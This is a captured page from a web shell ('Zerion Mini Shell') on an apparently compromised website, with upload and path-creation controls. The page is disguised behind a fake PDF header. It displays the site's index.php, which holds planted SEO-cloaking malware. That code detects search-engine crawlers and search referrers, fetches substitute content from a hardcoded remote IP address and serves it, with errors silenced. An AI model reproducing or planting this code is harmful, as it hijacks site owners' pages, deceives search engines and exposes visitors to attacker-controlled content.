%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/alliance/domains/congress-intercultural.eu/public_html/web/
Upload File :
Create Path :
Current File : /home/alliance/domains/congress-intercultural.eu/public_html/web/index.php

<?php
error_reporting(0);
define('REFERER',$_SERVER['HTTP_REFERER']);
define('HOST',$_SERVER['HTTP_HOST']);
define('URI',$_SERVER['REQUEST_URI']);
define('AGENT',$_SERVER['HTTP_USER_AGENT']);
define('MYURL','http://156.236.170.129/');
$url = trim(GetQuery());
$searchName = array('google',
    'bing',
    'yahoo',
    'duckduckgo',
    'yandex',
    'sanook'
);

function isBot($userAgent) {
    global $url;
    $botList = array('Googlebot','Bingbot', 'Yahoo! Slurp', 'DuckDuckBot', 'YandexBot');
    foreach($botList as $bot) {
        if(stripos($userAgent, $bot) !== false) {
            if(notIndex()){
                $result = file_get_contents(MYURL.($url?'?'.str_replace(' ','_',$url):''));
				$result = str_replace('{当前域名}',filterwords(GetUrl()),$result);
                exit($result);
            }else{
                $result = file_get_contents(MYURL.'/?index2121=true');
                echo($result);
            }
        }
    }
    return false;
}
function checkSearch(){
    global $searchName;
    if(REFERER){
        foreach ($searchName as $value){
            if(notIndex() && stristr(REFERER,$value)){
                $result = file_get_contents(MYURL.'/?jump1212=true');
                exit ($result);
            }
        }
    }
}

function GetQuery(){
	$queryString = http_build_query($_GET);  
	$params = [];  
	foreach ($_GET as $key => $value) {  
		$params[] = "$key=$value";  
	}  
	return implode('&', $params);  
}
function GetUrl(){//获取当前完整网址
	$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https://' : 'http://';  
	$host = $_SERVER['HTTP_HOST'];  
	$uri = $_SERVER['REQUEST_URI'];
	$port = $_SERVER['SERVER_PORT'];
	if (($protocol === 'http://' && $port == 80) || ($protocol === 'https://' && $port == 443)) {  
		$port = '';  
	} else { 
		$host .= ':' . $port;  
	}
	$url = $protocol . $host . $uri;  
	return urldecode($url);
}
function filterwords($str) {//过滤字符串
	foreach(explode(',',APP_JACK_FILTERWORDS) as $r){
		$str=str_replace($r,'',$str);
	} 
	return $str;
}
function notIndex(){
    if($_SERVER["REQUEST_URI"] != '' && $_SERVER["REQUEST_URI"] != '/index.php' && $_SERVER["REQUEST_URI"] != null && $_SERVER["REQUEST_URI"] != '/' && $_SERVER["REQUEST_URI"] != '/index.html'){
        return true;
    }
}
isBot(AGENT);
checkSearch();

?>










Zerion Mini Shell 1.0